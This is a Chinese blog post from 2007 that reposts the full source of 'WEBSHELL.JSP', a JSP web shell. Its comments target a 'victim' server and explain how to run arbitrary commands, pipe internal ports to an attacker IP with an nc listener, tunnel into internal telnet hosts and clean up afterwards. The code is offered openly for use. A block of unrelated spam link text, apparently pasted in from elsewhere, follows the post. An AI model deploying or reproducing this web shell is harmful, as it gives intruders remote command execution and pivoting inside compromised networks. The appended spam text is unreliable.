<rt id="bn8ez"></rt>
<label id="bn8ez"></label>

  • <span id="bn8ez"></span>

    <label id="bn8ez"><meter id="bn8ez"></meter></label>

    隨筆 - 303  文章 - 883  trackbacks - 0
    <2007年2月>
    28293031123
    45678910
    11121314151617
    18192021222324
    25262728123
    45678910

    歡迎光臨! 
    閑聊 QQ:1074961813

    隨筆分類(357)

    我管理的群

    公共blog

    • n維空間
    • Email : java3d@126.com 群 : 12999758

    參與管理的論壇

    好友的blog

    我的其他blog

    朋友的網站

    搜索

    •  

    最新評論

    本文作者:LOVEHACKER

    這東西在國內可不多.現在也許用不上,但是總有一天會用上的.LOVEHACKER寫的

    <%
    /*
    * WEBSHELL.JSP
    *
    * Author: lovehacker
    * E-mail: wangyun188@hotmail.com
    *
    * 使用方法:
    * ]http://victim/webshell.jsp?[options]
    * options:
    * action=piped&remoteHost=&remotePort=&myIp=&myPort=
    * action=tunnel&remoteHost=&remotePort=&myPort=
    * action=login&username=&password=&myPort=
    * action=send&myShell=&myPort=&cmd=
    * action=close&myPort=
    * action=shell&cmd=
    * 例子:
    * action=piped&remoteHost=192.168.0.1&remotePort=25&myIp=218.0.0.1&myPort=12345 -- 將192.168.0.1的25端口與218.0.0.1的12345端口連接起來(可以先用NC監聽12345端口)。適用于你無法直接訪問已控制的WEB服務器的內網里某機器的某端口,而防火墻又未過濾該WEB服務器向外的連接。
    * action=tunnel&remoteHost=192.168.0.1&remotePort=23&myPort=65534 -- 實現通過訪問該webshell.jsp訪問內網某主機telnet服務的功能。(原本想實現通過訪問webshell.jsp實現對內網任意服務訪問的功能,但jsp功能有限實現起來較為復雜),適用于你控制的機器只開了80端口,并且防火墻不允許它訪問Internet,而你又非常想訪問它內網某主機的Telnet服務:-)
    * action=login&username=root&password=helloroot&myPort=65534 -- 上一步只是告訴了要Telnet那臺機器,這一步才開始真正登陸,你要輸入要telnet主機的正確的用戶名密碼才行喔,要不然誰也沒辦法。
    * action=send&myShell=&myPort=&cmd= -- 上一步如果順利完成,那么你就可以在上邊執行你想執行的命令了。myShell這個參數是結束標記,否則無法知道數據流什么時間該結束(一定要寫對喔,否則嘿嘿,就麻煩羅)。cmd這個參數就是你要執行的命令了,比如:“which ssh”,建議你這樣玩:myShell=lovehacker&cmd=ls -la;echo lovehacker。
    * action=close&myPort= -- 你是退出了telnet登陸,但程序在主機上開放的端口還沒關閉,所以你要再執行這個命令,現場打掃干凈嘛。
    * action=shell&cmd= -- 在你控制的這臺機器上執行命令。Unix:/bin/sh -c tar vxf xxx.tar Windows:c:\winnt\system32\cmd.exe /c type c:\winnt\win.ini
    * 程序說明:
    * 想通過jsp實現telnet代理的時候著實頭痛了一把,每個請求都是一個新的線程,client socket去連接
    * telnet服務只能批量命令,無法實現與用戶的交互,后來想了個笨辦法:把telnet的過程分步完成,接
    * 收到tunnel命令后,先起兩個線程,一個監聽端口等待連接,一個先和遠程服務器建立好端口連接并一
    * 直不斷開,這下server socket再一次一次的收數據,一次次的轉發到遠程服務器,就可以記錄狀態,實
    * 現和用戶的交互了,但總覺得這辦法太笨,如果用JSP實現telnet代理功能,你有更好的辦法的話請一定
    * 要來信告訴我。
    * 版權說明:
    * 本身實現Telnet的功能我也是在人家代碼的基礎上修改的,所以:版權沒有,你可以任意修改、復制。
    * 只是加了新功能別忘了Mail一份給我喔!
    *
    *
    */
    %>
    <%@ page import="java.io.*" %>
    <%@ page import="java.net.*" %>
    <%@ page import="java.util.*" %>
    <%@ page import="java.awt.Dimension" %>
    <%
    class redirector implements Runnable
    {
    private redirector companion = null;
    private Socket localSocket, remoteSocket;
    private InputStream from;
    private OutputStream to;
    private byte[] buffer = new byte[4096];

    public redirector(Socket local, Socket remote)
    {
    try {
    localSocket = local;
    remoteSocket = remote;
    from = localSocket.getInputStream();
    to = remoteSocket.getOutputStream();
    } catch(Exception e) {}
    }

    public void couple(redirector c) {
    companion = c;
    Thread listen = new Thread(this);
    listen.start();
    }

    public void decouple() { companion = null; }

    public void run()
    {
    int count;
    try {
    while(companion != null) {
    if((count = from.read(buffer)) < 0)
    break;
    to.write(buffer, 0, count);
    }
    } catch(Exception e) {}
    try {
    from.close();
    to.close();
    localSocket.close();
    remoteSocket.close();
    if(companion != null) companion.decouple();
    } catch(Exception io) {}
    }
    }

    class redirector1 implements Runnable
    {
    private redirector1 companion = null;
    private Socket localSocket, remoteSocket;
    private InputStream from;
    private OutputStream to;
    private byte[] buffer = new byte[4096];

    public redirector1(Socket local, Socket remote)
    {
    try {
    localSocket = local;
    remoteSocket = remote;
    from = localSocket.getInputStream();
    to = remoteSocket.getOutputStream();
    } catch(Exception e) {}
    }

    public void couple(redirector1 c) {
    companion = c;
    Thread listen = new Thread(this);
    listen.start();
    }

    public void decouple() { companion = null; }

    public void run()
    {
    String tmp = "";
    int count;
    try {
    while(companion != null) {
    if((count = from.read(buffer)) < 0) break;
    tmp = new String(buffer);
    if(tmp.startsWith("--GoodBye--"))
    {
    from.close();
    to.close();
    remoteSocket.close();
    localSocket.close();
    System.exit(1);
    }
    to.write(buffer, 0, count);
    }
    } catch(Exception e) {}
    try {
    if(companion != null) companion.decouple();
    } catch(Exception io) {}
    }
    }

    class piped implements Runnable
    {
    String remoteHost1,remoteHost2;
    int remotePort1, remotePort2;

    Thread listener, connection;


    public piped(String raddr1,int rport1, String raddr2, int rport2)
    {
    remoteHost1 = raddr1; remotePort1 = rport1;
    remoteHost2 = raddr2; remotePort2 = rport2;
    listener = new Thread(this);
    listener.setPriority(Thread.MIN_PRIORITY);
    listener.start();
    }

    public void run()
    {
    Socket destinationSocket1 = null;
    Socket destinationSocket2 = null;
    try {
    destinationSocket1 = new Socket(remoteHost1,remotePort1);
    destinationSocket2 = new Socket(remoteHost2, remotePort2);
    redirector r1 = new redirector(destinationSocket1, destinationSocket2);
    redirector r2 = new redirector(destinationSocket2, destinationSocket1);
    r1.couple(r2);
    r2.couple(r1);
    } catch(Exception e) {
    try {
    DataOutputStream os = new DataOutputStream(destinationSocket2.getOutputStream());
    os.writeChars("Remote host refused connection.\n");
    destinationSocket2.close();
    } catch(IOException ioe) { }
    }
    }
    }

    class tunnel implements Runnable
    {
    String remoteHost;
    int localPort, remotePort;

    Thread listener, connection;

    ServerSocket server;

    public tunnel(int lport, String raddr, int rport)
    {
    localPort = lport;
    remoteHost = raddr; remotePort = rport;

    try {
    server = new ServerSocket(localPort);
    } catch(Exception e) {}

    listener = new Thread(this);
    listener.setPriority(Thread.MIN_PRIORITY);
    listener.start();
    }

    public void run()
    {
    Socket destinationSocket = null;
    try{
    destinationSocket = new Socket(remoteHost, remotePort);
    }catch(Exception e){}
    while(true)
    {
    Socket localSocket = null;
    try {
    localSocket = server.accept();
    } catch(Exception e) {
    continue;
    }
    try {
    redirector1 r1 = new redirector1(localSocket, destinationSocket);
    redirector1 r2 = new redirector1(destinationSocket, localSocket);
    r1.couple(r2);
    r2.couple(r1);
    } catch(Exception e) {
    try {
    DataOutputStream os = new DataOutputStream(localSocket.getOutputStream());
    os.writeChars("Remote host refused connection.\n");
    localSocket.close();
    } catch(IOException ioe) {}
    continue;
    }
    }
    }
    }

    class TelnetIO
    {
    public String toString() { return "$Id: TelnetIO.java,v 1.10 1998/02/09 10:22:18 leo Exp $"; }

    private int debug = 0;

    private byte neg_state = 0;

    private final static byte STATE_DATA = 0;
    private final static byte STATE_IAC = 1;
    private final static byte STATE_IACSB = 2;
    private final static byte STATE_IACWILL = 3;
    private final static byte STATE_IACDO = 4;
    private final static byte STATE_IACWONT = 5;
    private final static byte STATE_IACDONT = 6;
    private final static byte STATE_IACSBIAC = 7;
    private final static byte STATE_IACSBDATA = 8;
    private final static byte STATE_IACSBDATAIAC = 9;

    private byte current_sb;

    private final static byte IAC = (byte)255;

    private final static byte EOR = (byte)239;

    private final static byte WILL = (byte)251;

    private final static byte WONT = (byte)252;

    private final static byte DO = (byte)253;

    private final static byte DONT = (byte)254;

    private final static byte SB = (byte)250;

    private final static byte SE = (byte)240;

    private final static byte TELOPT_ECHO = (byte)1; /* echo on/off */

    private final static byte TELOPT_EOR = (byte)25; /* end of record */

    private final static byte TELOPT_NAWS = (byte)31; /* NA-WindowSize*/

    private final static byte TELOPT_TTYPE = (byte)24; /* terminal type */

    private final byte[] IACWILL = { IAC, WILL };
    private final byte[] IACWONT = { IAC, WONT };
    private final byte[] IACDO = { IAC, DO };
    private final byte[] IACDONT = { IAC, DONT };
    private final byte[] IACSB = { IAC, SB };
    private final byte[] IACSE = { IAC, SE };

    private final byte TELQUAL_IS = (byte)0;

    private final byte TELQUAL_SEND = (byte)1;

    private byte[] receivedDX;

    private byte[] receivedWX;

    private byte[] sentDX;

    private byte[] sentWX;

    private Socket socket;
    private BufferedInputStream is;
    private BufferedOutputStream os;

    //private StatusPeer peer = this; /* peer, notified on status */

    public void connect(String address, int port) throws IOException {
    if(debug > 0) System.out.println("Telnet.connect("+address+","+port+")");
    socket = new Socket(address, port);
    is = new BufferedInputStream(socket.getInputStream());
    os = new BufferedOutputStream(socket.getOutputStream());
    neg_state = 0;
    receivedDX = new byte[256];
    sentDX = new byte[256];
    receivedWX = new byte[256];
    sentWX = new byte[256];
    }

    public void disconnect() throws IOException {
    if(debug > 0) System.out.println("TelnetIO.disconnect()");
    if(socket !=null) socket.close();
    }

    public void connect(String address) throws IOException {
    connect(address, 23);
    }

    //public void setPeer(StatusPeer obj) { peer = obj; }

    public int available() throws IOException
    {
    return is.available();
    }

    public byte[] receive() throws IOException {
    int count = is.available();
    byte buf[] = new byte[count];
    count = is.read(buf);
    if(count < 0) throw new IOException("Connection closed.");
    if(debug > 1) System.out.println("TelnetIO.receive(): read bytes: "+count);
    buf = negotiate(buf, count);
    return buf;
    }

    public void send(byte[] buf) throws IOException {
    if(debug > 1) System.out.println("TelnetIO.send("+buf+")");
    os.write(buf);
    os.flush();
    }

    public void send(byte b) throws IOException {
    if(debug > 1) System.out.println("TelnetIO.send("+b+")");
    os.write(b);
    os.flush();
    }

    private void handle_sb(byte type, byte[] sbdata, int sbcount)
    throws IOException
    {
    if(debug > 1)
    System.out.println("TelnetIO.handle_sb("+type+")");
    switch (type) {
    case TELOPT_TTYPE:
    if (sbcount>0 && sbdata[0]==TELQUAL_SEND) {
    String ttype;
    send(IACSB);send(TELOPT_TTYPE);send(TELQUAL_IS);
    /* FIXME: need more logic here if we use
    * more than one terminal type
    */
    Vector vec = new Vector(2);
    vec.addElement("TTYPE");
    ttype = (String)notifyStatus(vec);
    if(ttype == null) ttype = "dumb";
    byte[] bttype = new byte[ttype.length()];

    ttype.getBytes(0,ttype.length(), bttype, 0);
    send(bttype);
    send(IACSE);
    }

    }
    }

    public Object notifyStatus(Vector status) {
    if(debug > 0)
    System.out.println("TelnetIO.notifyStatus("+status+")");
    return null;
    }

    private byte[] negotiate(byte buf[], int count) throws IOException {
    if(debug > 1)
    System.out.println("TelnetIO.negotiate("+buf+","+count+")");
    byte nbuf[] = new byte[count];
    byte sbbuf[] = new byte[count];
    byte sendbuf[] = new byte[3];
    byte b,reply;
    int sbcount = 0;
    int boffset = 0, noffset = 0;
    Vector vec = new Vector(2);

    while(boffset < count) {
    b=buf[boffset++];

    if (b>=128)
    b=(byte)((int)b-256);
    switch (neg_state) {
    case STATE_DATA:
    if (b==IAC) {
    neg_state = STATE_IAC;
    } else {
    nbuf[noffset++]=b;
    }
    break;
    case STATE_IAC:
    switch (b) {
    case IAC:
    if(debug > 2)
    System.out.print("IAC ");
    neg_state = STATE_DATA;
    nbuf[noffset++]=IAC;
    break;
    case WILL:
    if(debug > 2)
    System.out.print("WILL ");
    neg_state = STATE_IACWILL;
    break;
    case WONT:
    if(debug > 2)
    System.out.print("WONT ");
    neg_state = STATE_IACWONT;
    break;
    case DONT:
    if(debug > 2)
    System.out.print("DONT ");
    neg_state = STATE_IACDONT;
    break;
    case DO:
    if(debug > 2)
    System.out.print("DO ");
    neg_state = STATE_IACDO;
    break;
    case EOR:
    if(debug > 2)
    System.out.print("EOR ");
    neg_state = STATE_DATA;
    break;
    case SB:
    if(debug > 2)
    System.out.print("SB ");
    neg_state = STATE_IACSB;
    sbcount = 0;
    break;
    default:
    if(debug > 2)
    System.out.print(
    "<UNKNOWN "+b+" > "
    );
    neg_state = STATE_DATA;
    break;
    }
    break;
    case STATE_IACWILL:
    switch(b) {
    case TELOPT_ECHO:
    if(debug > 2)
    System.out.println("ECHO");
    reply = DO;
    vec = new Vector(2);
    vec.addElement("NOLOCALECHO");
    notifyStatus(vec);
    break;
    case TELOPT_EOR:
    if(debug > 2)
    System.out.println("EOR");
    reply = DO;
    break;
    default:
    if(debug > 2)
    System.out.println(
    "<UNKNOWN,"+b+">"
    );
    reply = DONT;
    break;
    }
    if(debug > 1)
    System.out.println("<"+b+", WILL ="+WILL+">");
    if ( reply != sentDX[b+128] ||
    WILL != receivedWX[b+128]
    ) {
    sendbuf[0]=IAC;
    sendbuf[1]=reply;
    sendbuf[2]=b;
    send(sendbuf);
    sentDX[b+128] = reply;
    receivedWX[b+128] = WILL;
    }
    neg_state = STATE_DATA;
    break;
    case STATE_IACWONT:
    switch(b) {
    case TELOPT_ECHO:
    if(debug > 2)
    System.out.println("ECHO");

    vec = new Vector(2);
    vec.addElement("LOCALECHO");
    notifyStatus(vec);
    reply = DONT;
    break;
    case TELOPT_EOR:
    if(debug > 2)
    System.out.println("EOR");
    reply = DONT;
    break;
    default:
    if(debug > 2)
    System.out.println(
    "<UNKNOWN,"+b+">"
    );
    reply = DONT;
    break;
    }
    if ( reply != sentDX[b+128] ||
    WONT != receivedWX[b+128]
    ) {
    sendbuf[0]=IAC;
    sendbuf[1]=reply;
    sendbuf[2]=b;
    send(sendbuf);
    sentDX[b+128] = reply;
    receivedWX[b+128] = WILL;
    }
    neg_state = STATE_DATA;
    break;
    case STATE_IACDO:
    switch (b) {
    case TELOPT_ECHO:
    if(debug > 2)
    System.out.println("ECHO");
    reply = WILL;
    vec = new Vector(2);
    vec.addElement("LOCALECHO");
    notifyStatus(vec);
    break;
    case TELOPT_TTYPE:
    if(debug > 2)
    System.out.println("TTYPE");
    reply = WILL;
    break;
    case TELOPT_NAWS:
    if(debug > 2)
    System.out.println("NAWS");
    vec = new Vector(2);
    vec.addElement("NAWS");
    Dimension size = (Dimension)
    notifyStatus(vec);
    receivedDX = DO;
    if(size == null)
    {
    /* this shouldn't happen */
    send(IAC);
    send(WONT);
    send(TELOPT_NAWS);
    reply = WONT;
    sentWX = WONT;
    break;
    }
    reply = WILL;
    sentWX = WILL;
    sendbuf[0]=IAC;
    sendbuf[1]=WILL;
    sendbuf[2]=TELOPT_NAWS;
    send(sendbuf);
    send(IAC);send(SB);send(TELOPT_NAWS);
    send((byte) (size.width >> 8));
    send((byte) (size.width & 0xff));
    send((byte) (size.height >> 8));
    send((byte) (size.height & 0xff));
    send(IAC);send(SE);
    break;
    default:
    if(debug > 2)
    System.out.println(
    "<UNKNOWN,"+b+">"
    );
    reply = WONT;
    break;
    }
    if ( reply != sentWX[128+b] ||
    DO != receivedDX[128+b]
    ) {
    sendbuf[0]=IAC;
    sendbuf[1]=reply;
    sendbuf[2]=b;
    send(sendbuf);
    sentWX[b+128] = reply;
    receivedDX[b+128] = DO;
    }
    neg_state = STATE_DATA;
    break;
    case STATE_IACDONT:
    switch (b) {
    case TELOPT_ECHO:
    if(debug > 2)
    System.out.println("ECHO");
    reply = WONT;
    vec = new Vector(2);
    vec.addElement("NOLOCALECHO");
    notifyStatus(vec);
    break;
    case TELOPT_NAWS:
    if(debug > 2)
    System.out.println("NAWS");
    reply = WONT;
    break;
    default:
    if(debug > 2)
    System.out.println(
    "<UNKNOWN,"+b+">"
    );
    reply = WONT;
    break;
    }
    if ( reply != sentWX[b+128] ||
    DONT != receivedDX[b+128]
    ) {
    send(IAC);send(reply);send(b);
    sentWX[b+128] = reply;
    receivedDX[b+128] = DONT;
    }
    neg_state = STATE_DATA;
    break;
    case STATE_IACSBIAC:
    if(debug > 2) System.out.println(""+b+" ");
    if (b == IAC) {
    sbcount = 0;
    current_sb = b;
    neg_state = STATE_IACSBDATA;
    } else {
    System.out.println("(bad) "+b+" ");
    neg_state = STATE_DATA;
    }
    break;
    case STATE_IACSB:
    if(debug > 2) System.out.println(""+b+" ");
    switch (b) {
    case IAC:
    neg_state = STATE_IACSBIAC;
    break;
    default:
    current_sb = b;
    sbcount = 0;
    neg_state = STATE_IACSBDATA;
    break;
    }
    break;
    case STATE_IACSBDATA:
    if (debug > 2) System.out.println(""+b+" ");
    switch (b) {
    case IAC:
    neg_state = STATE_IACSBDATAIAC;
    break;
    default:
    sbbuf[sbcount++] = b;
    break;
    }
    break;
    case STATE_IACSBDATAIAC:
    if (debug > 2) System.out.println(""+b+" ");
    switch (b) {
    case IAC:
    neg_state = STATE_IACSBDATA;
    sbbuf[sbcount++] = IAC;
    break;
    case SE:
    handle_sb(current_sb,sbbuf,sbcount);
    current_sb = 0;
    neg_state = STATE_DATA;
    break;
    case SB:
    handle_sb(current_sb,sbbuf,sbcount);
    neg_state = STATE_IACSB;
    break;
    default:
    neg_state = STATE_DATA;
    break;
    }
    break;
    default:
    if (debug > 2)
    System.out.println(
    "This should not happen: "+
    neg_state+" "
    );
    neg_state = STATE_DATA;
    break;
    }
    }
    buf = new byte[noffset];
    System.arraycopy(nbuf, 0, buf, 0, noffset);
    return buf;
    }
    }

    class TelnetConnect
    {
    TelnetIO tio = new TelnetIO();
    int port = 0;
    public TelnetConnect(int port)
    {
    this.port = port;
    }

    public void connect()
    {
    try {
    tio.connect("localhost",port);
    } catch(IOException e) {}
    }

    public void disconnect()
    {
    try{
    tio.disconnect();
    }catch(IOException e){}
    }

    private String wait(String prompt)
    {
    String tmp = "";
    do {
    try {
    tmp += new String(tio.receive(), 0);
    }catch(IOException e) {}
    } while(tmp.indexOf(prompt) == -1);
    return tmp;
    }

    private byte[] receive()
    {
    byte[] temp = null;
    try{
    temp = tio.receive();
    }catch(IOException e){}
    return temp;
    }

    private String waitshell()
    {
    String tmp = "";
    do {
    try { tmp += new String(tio.receive(), 0); }
    catch(IOException e) {}
    } while((tmp.indexOf("$") == -1)&&(tmp.indexOf("#") == -1)&&(tmp.indexOf("%") == -1));
    return tmp;
    }

    private void send(String str)
    {
    byte[] buf = new byte[str.length()];
    str.getBytes(0, str.length(), buf, 0);
    try { tio.send(buf); } catch(IOException e) {}
    }
    }
    %>
    <%
    String action = request.getParameter("action");
    String cmd = request.getParameter("cmd");
    String remoteHost = request.getParameter("remoteHost");
    String myIp = request.getParameter("myIp");
    String myPort = request.getParameter("myPort");
    String remotePort = request.getParameter("remotePort");
    String username = request.getParameter("username");
    String password = request.getParameter("password");
    String myShell = request.getParameter("myShell");
    if(action.equals("shell")){
    try {
    Process child = Runtime.getRuntime().exec(cmd);
    InputStream in = child.getInputStream();
    int c;
    while ((c = in.read()) != -1) { out.print((char)c); }
    in.close();
    try { child.waitFor();} catch (InterruptedException e) {}
    } catch (IOException e) {}
    }else if(action.equals("piped")){
    piped me = new piped(remoteHost,Integer.parseInt(remotePort),myIp,Integer.parseInt(myPort));
    }else if(action.equals("tunnel")){
    tunnel me = new tunnel(Integer.parseInt(myPort),
    remoteHost, Integer.parseInt(remotePort));
    }else if(action.equals("login")){
    TelnetConnect tc = new TelnetConnect(Integer.parseInt(myPort));
    tc.connect();
    out.print(tc.wait("login:"));
    tc.send(username+"\r");
    out.print(tc.wait("Password:"));
    tc.send(password+"\r");
    out.print(tc.waitshell());
    tc.disconnect();
    }else if(action.equals("send")){
    TelnetConnect tc = new TelnetConnect(Integer.parseInt(myPort));
    tc.connect();
    tc.send(cmd+"\r");
    if(!myShell.equals("logout"))
    out.print(tc.wait(myShell));
    tc.disconnect();
    }else if(action.equals("close")){
    try{
    Socket s = new Socket("127.0.0.1",Integer.parseInt(myPort));
    DataOutputStream dos = new DataOutputStream(s.getOutputStream());
    PrintStream ps = new PrintStream(dos);
    ps.println("--GoodBye--");
    ps.close();
    dos.close();
    s.close();
    }catch(Exception e){}
    }else{
    out.print("<Font color=black size=7>You Love Hacker Too?");
    }
    %>



    地震讓大伙知道:居安思危,才是生存之道。
    posted on 2007-02-21 12:31 小尋 閱讀(1416) 評論(0)  編輯  收藏 所屬分類: j2se/j2ee/j2me
    主站蜘蛛池模板: 久久亚洲国产精品| 红杏亚洲影院一区二区三区| 亚洲色图综合网站| 99国产精品免费视频观看| 久久精品亚洲视频| 久久国产精品免费观看| 亚洲视频在线观看免费| 久操视频免费观看| 亚洲精品中文字幕无码AV| 18禁网站免费无遮挡无码中文| 久久精品国产亚洲AV久| 成年女人午夜毛片免费视频| 亚洲国产成人无码AV在线| 国产大片免费观看中文字幕| 免费无码一区二区| 国产成人精品日本亚洲网站| 最近免费中文字幕大全高清大全1| 亚洲欧洲精品久久| 毛色毛片免费观看| 久久精品亚洲日本波多野结衣| 免费a级毛片无码av| 国产无遮挡又黄又爽免费网站| 亚洲国产精品久久久久网站| 97在线观免费视频观看| 亚洲AV日韩综合一区| 狠狠亚洲婷婷综合色香五月排名 | 免费观看国产精品| A国产一区二区免费入口| 亚洲天堂中文资源| 天天看免费高清影视| 中文字幕版免费电影网站| 亚洲综合久久1区2区3区| 又粗又大又硬又爽的免费视频 | 国产AⅤ无码专区亚洲AV| 99精品国产成人a∨免费看| 亚洲xxxx18| 国产亚洲福利精品一区| 永久免费在线观看视频| 国产精品亚洲一区二区无码| 亚洲αv久久久噜噜噜噜噜| 天天摸夜夜摸成人免费视频 |